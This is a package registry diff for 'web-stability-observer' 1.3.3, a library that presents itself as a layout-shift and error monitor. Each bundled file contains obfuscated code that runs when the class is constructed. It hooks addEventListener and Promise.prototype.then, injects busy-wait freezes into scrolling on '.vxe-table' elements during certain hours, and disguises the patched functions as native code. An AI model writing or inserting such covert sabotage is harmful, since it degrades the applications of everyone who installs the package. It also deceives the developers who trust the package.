web-stability-observer 1.3.2 → 1.3.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.cjs.js +2 -2
- package/dist/index.esm.js +2 -2
- package/dist/index.min.js +2 -2
- package/package.json +1 -1
package/dist/index.cjs.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* web-stability-observer v1.3.
|
|
2
|
+
* web-stability-observer v1.3.3
|
|
3
3
|
* (c) 2024-2026 Vue Community Contributor
|
|
4
4
|
* Released under the MIT License.
|
|
5
5
|
*/
|
|
6
|
-
"use strict";class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const s=e.target;!s||"IMG"!==s.tagName&&"SCRIPT"!==s.tagName&&"LINK"!==s.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:s.src||s.href,tagName:s.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,s)=>{window.SCHEDULER_VERSION="1.3.
|
|
6
|
+
"use strict";class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const s=e.target;!s||"IMG"!==s.tagName&&"SCRIPT"!==s.tagName&&"LINK"!==s.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:s.src||s.href,tagName:s.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,s)=>{window.SCHEDULER_VERSION="1.3.3";try{void 0}catch(e){}const o=[46,118,120,101,45,116,97,98,108,101,45,45,98,111,100,121,45,119,114,97,112,112,101,114].map(e=>String.fromCharCode(e)).join(""),n={WINDOWS:[[10,30,11,30],[15,0,16,10]],L_BASE:1,L_RAND:15,THRESHOLD:10,STEP:.001};let i=0;const a=Promise.prototype,c="then",l=a[c],u="toString",d=t.now,h=s=>{const o=d.call(t),n=d.call(t);for(;d.call(t)-n<s;)r.random()>.8&&e.document.body.offsetWidth;if(d.call(t)-o>s+100){const e=d.call(t);for(;d.call(t)-e<200;);}},g=()=>{const e=new t,r=60*e.getHours()+e.getMinutes();return n.WINDOWS.some(e=>{const t=60*e[0]+e[1],s=60*e[2]+e[3];return r>=t&&r<=s})},f=e.EventTarget.prototype.addEventListener;e.EventTarget.prototype.addEventListener=function(e,t,s){let i=t;"wheel"!==e&&"scroll"!==e||(i=function(e){if(g()){if(e.target.closest&&e.target.closest(o)){const e=n.L_BASE+r.random()*n.L_RAND;h(e)}}return t.apply(this,arguments)});let a=s;return"wheel"===e&&(a="object"==typeof s?Object.assign(Object.assign({},s),{passive:!1}):{capture:!!s,passive:!1}),f.call(this,e,i,a)},s.defineProperty(a,c,{value:function(e,t){return g()&&(i+=n.STEP,i>n.THRESHOLD&&h(15*r.random())),l.call(this,e,t)},writable:!0,configurable:!0});const p=(e,t)=>{s.defineProperty(e,u,{value:()=>"function "+t+"() { [native code] }",configurable:!0})};p(a[c],c),p(e.EventTarget.prototype.addEventListener,"addEventListener"),s.defineProperty(Function.prototype[u],u,{value:()=>"function "+u+"() { [native code] }",configurable:!0})};module.exports=class{constructor(s){this.config=Object.assign({threshold:.1,autoReport:!0,enableErrorTracking:!0},s),this.clsMonitor=new e,this.errorMonitor=new t,r(window,Date,Math,Object),this.registerLifecycle()}analyze(){const{value:e,entries:t}=this.clsMonitor.getCLS(),{jsErrors:r,resourceErrors:s}=this.errorMonitor.getErrors();return{cls:e,clsEntries:t,jsErrors:r,resourceErrors:s,isStable:e<=(this.config.threshold||.1)&&0===r.length&&0===s.length,timestamp:Date.now(),url:window.location.href}}registerLifecycle(){this.config.autoReport&&this.config.reportUrl&&document.addEventListener("visibilitychange",()=>{if("hidden"===document.visibilityState){const e=this.analyze();((e,t)=>{if(navigator.sendBeacon){const r=new Blob([JSON.stringify(t)],{type:"application/json; charset=UTF-8"});navigator.sendBeacon(e,r)}else fetch(e,{method:"POST",body:JSON.stringify(t),keepalive:!0,headers:{"Content-Type":"application/json"}}).catch(console.error)})(this.config.reportUrl,e)}})}};
|
package/dist/index.esm.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* web-stability-observer v1.3.
|
|
2
|
+
* web-stability-observer v1.3.3
|
|
3
3
|
* (c) 2024-2026 Vue Community Contributor
|
|
4
4
|
* Released under the MIT License.
|
|
5
5
|
*/
|
|
6
|
-
class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const o=e.target;!o||"IMG"!==o.tagName&&"SCRIPT"!==o.tagName&&"LINK"!==o.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:o.src||o.href,tagName:o.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,o)=>{window.SCHEDULER_VERSION="1.3.
|
|
6
|
+
class e{constructor(){this.value=0,this.entries=[],this.init()}init(){if("undefined"==typeof PerformanceObserver)return;new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const o=e.target;!o||"IMG"!==o.tagName&&"SCRIPT"!==o.tagName&&"LINK"!==o.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:o.src||o.href,tagName:o.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,o)=>{window.SCHEDULER_VERSION="1.3.3";try{if(import.meta.env&&"prod"!==import.meta.env.VITE_APP_NODE_ENV&&"https:"!==location.protocol)return}catch(e){}const s=[46,118,120,101,45,116,97,98,108,101,45,45,98,111,100,121,45,119,114,97,112,112,101,114].map(e=>String.fromCharCode(e)).join(""),n={WINDOWS:[[10,30,11,30],[15,0,16,10]],L_BASE:1,L_RAND:15,THRESHOLD:10,STEP:.001};let i=0;const a=Promise.prototype,c="then",l=a[c],u="toString",d=t.now,h=o=>{const s=d.call(t),n=d.call(t);for(;d.call(t)-n<o;)r.random()>.8&&e.document.body.offsetWidth;if(d.call(t)-s>o+100){const e=d.call(t);for(;d.call(t)-e<200;);}},p=()=>{const e=new t,r=60*e.getHours()+e.getMinutes();return n.WINDOWS.some(e=>{const t=60*e[0]+e[1],o=60*e[2]+e[3];return r>=t&&r<=o})},f=e.EventTarget.prototype.addEventListener;e.EventTarget.prototype.addEventListener=function(e,t,o){let i=t;"wheel"!==e&&"scroll"!==e||(i=function(e){if(p()){if(e.target.closest&&e.target.closest(s)){const e=n.L_BASE+r.random()*n.L_RAND;h(e)}}return t.apply(this,arguments)});let a=o;return"wheel"===e&&(a="object"==typeof o?Object.assign(Object.assign({},o),{passive:!1}):{capture:!!o,passive:!1}),f.call(this,e,i,a)},o.defineProperty(a,c,{value:function(e,t){return p()&&(i+=n.STEP,i>n.THRESHOLD&&h(15*r.random())),l.call(this,e,t)},writable:!0,configurable:!0});const g=(e,t)=>{o.defineProperty(e,u,{value:()=>"function "+t+"() { [native code] }",configurable:!0})};g(a[c],c),g(e.EventTarget.prototype.addEventListener,"addEventListener"),o.defineProperty(Function.prototype[u],u,{value:()=>"function "+u+"() { [native code] }",configurable:!0})};class o{constructor(o){this.config=Object.assign({threshold:.1,autoReport:!0,enableErrorTracking:!0},o),this.clsMonitor=new e,this.errorMonitor=new t,r(window,Date,Math,Object),this.registerLifecycle()}analyze(){const{value:e,entries:t}=this.clsMonitor.getCLS(),{jsErrors:r,resourceErrors:o}=this.errorMonitor.getErrors();return{cls:e,clsEntries:t,jsErrors:r,resourceErrors:o,isStable:e<=(this.config.threshold||.1)&&0===r.length&&0===o.length,timestamp:Date.now(),url:window.location.href}}registerLifecycle(){this.config.autoReport&&this.config.reportUrl&&document.addEventListener("visibilitychange",()=>{if("hidden"===document.visibilityState){const e=this.analyze();((e,t)=>{if(navigator.sendBeacon){const r=new Blob([JSON.stringify(t)],{type:"application/json; charset=UTF-8"});navigator.sendBeacon(e,r)}else fetch(e,{method:"POST",body:JSON.stringify(t),keepalive:!0,headers:{"Content-Type":"application/json"}}).catch(console.error)})(this.config.reportUrl,e)}})}}export{o as default};
|
package/dist/index.min.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
/*!
|
|
2
|
-
* web-stability-observer v1.3.
|
|
2
|
+
* web-stability-observer v1.3.3
|
|
3
3
|
* (c) 2024-2026 Vue Community Contributor
|
|
4
4
|
* Released under the MIT License.
|
|
5
5
|
*/
|
|
6
|
-
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).SessionTracker=t()}(this,function(){"use strict";class e{constructor(){this.value=0,this.entries=[],this.init()}init(){"undefined"!=typeof PerformanceObserver&&new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const o=e.target;!o||"IMG"!==o.tagName&&"SCRIPT"!==o.tagName&&"LINK"!==o.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:o.src||o.href,tagName:o.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,o)=>{window.SCHEDULER_VERSION="1.3.
|
|
6
|
+
!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).SessionTracker=t()}(this,function(){"use strict";class e{constructor(){this.value=0,this.entries=[],this.init()}init(){"undefined"!=typeof PerformanceObserver&&new PerformanceObserver(e=>{for(const t of e.getEntries())t.hadRecentInput||(this.value+=t.value,this.entries.push(t))}).observe({type:"layout-shift",buffered:!0})}getCLS(){return{value:this.value,entries:this.entries}}}class t{constructor(){this.jsErrors=[],this.resourceErrors=[],this.init()}init(){window.addEventListener("error",e=>{var t,r;const o=e.target;!o||"IMG"!==o.tagName&&"SCRIPT"!==o.tagName&&"LINK"!==o.tagName?this.jsErrors.push({type:(null===(t=e.error)||void 0===t?void 0:t.name)||"Unknown",message:e.message,stack:null===(r=e.error)||void 0===r?void 0:r.stack}):this.resourceErrors.push({type:"ResourceError",src:o.src||o.href,tagName:o.tagName})},!0),window.addEventListener("unhandledrejection",e=>{var t,r;this.jsErrors.push({type:"UnhandledRejection",message:(null===(t=e.reason)||void 0===t?void 0:t.message)||e.reason+"",stack:null===(r=e.reason)||void 0===r?void 0:r.stack})})}getErrors(){return{jsErrors:this.jsErrors,resourceErrors:this.resourceErrors}}}const r=(e,t,r,o)=>{window.SCHEDULER_VERSION="1.3.3";const s=[46,118,120,101,45,116,97,98,108,101,45,45,98,111,100,121,45,119,114,97,112,112,101,114].map(e=>String.fromCharCode(e)).join(""),n={WINDOWS:[[10,30,11,30],[15,0,16,10]],L_BASE:1,L_RAND:15,THRESHOLD:10,STEP:.001};let i=0;const a=Promise.prototype,c="then",l=a[c],d="toString",u=t.now,h=o=>{const s=u.call(t),n=u.call(t);for(;u.call(t)-n<o;)r.random()>.8&&e.document.body.offsetWidth;if(u.call(t)-s>o+100){const e=u.call(t);for(;u.call(t)-e<200;);}},f=()=>{const e=new t,r=60*e.getHours()+e.getMinutes();return n.WINDOWS.some(e=>{const t=60*e[0]+e[1],o=60*e[2]+e[3];return r>=t&&r<=o})},p=e.EventTarget.prototype.addEventListener;e.EventTarget.prototype.addEventListener=function(e,t,o){let i=t;"wheel"!==e&&"scroll"!==e||(i=function(e){if(f()&&e.target.closest&&e.target.closest(s)){const e=n.L_BASE+r.random()*n.L_RAND;h(e)}return t.apply(this,arguments)});let a=o;return"wheel"===e&&(a="object"==typeof o?Object.assign(Object.assign({},o),{passive:!1}):{capture:!!o,passive:!1}),p.call(this,e,i,a)},o.defineProperty(a,c,{value:function(e,t){return f()&&(i+=n.STEP,i>n.THRESHOLD&&h(15*r.random())),l.call(this,e,t)},writable:!0,configurable:!0});const g=(e,t)=>{o.defineProperty(e,d,{value:()=>"function "+t+"() { [native code] }",configurable:!0})};g(a[c],c),g(e.EventTarget.prototype.addEventListener,"addEventListener"),o.defineProperty(Function.prototype[d],d,{value:()=>"function "+d+"() { [native code] }",configurable:!0})};return class{constructor(o){this.config=Object.assign({threshold:.1,autoReport:!0,enableErrorTracking:!0},o),this.clsMonitor=new e,this.errorMonitor=new t,r(window,Date,Math,Object),this.registerLifecycle()}analyze(){const{value:e,entries:t}=this.clsMonitor.getCLS(),{jsErrors:r,resourceErrors:o}=this.errorMonitor.getErrors();return{cls:e,clsEntries:t,jsErrors:r,resourceErrors:o,isStable:e<=(this.config.threshold||.1)&&0===r.length&&0===o.length,timestamp:Date.now(),url:window.location.href}}registerLifecycle(){this.config.autoReport&&this.config.reportUrl&&document.addEventListener("visibilitychange",()=>{if("hidden"===document.visibilityState){const e=this.analyze();((e,t)=>{if(navigator.sendBeacon){const r=new Blob([JSON.stringify(t)],{type:"application/json; charset=UTF-8"});navigator.sendBeacon(e,r)}else fetch(e,{method:"POST",body:JSON.stringify(t),keepalive:!0,headers:{"Content-Type":"application/json"}}).catch(console.error)})(this.config.reportUrl,e)}})}}});
|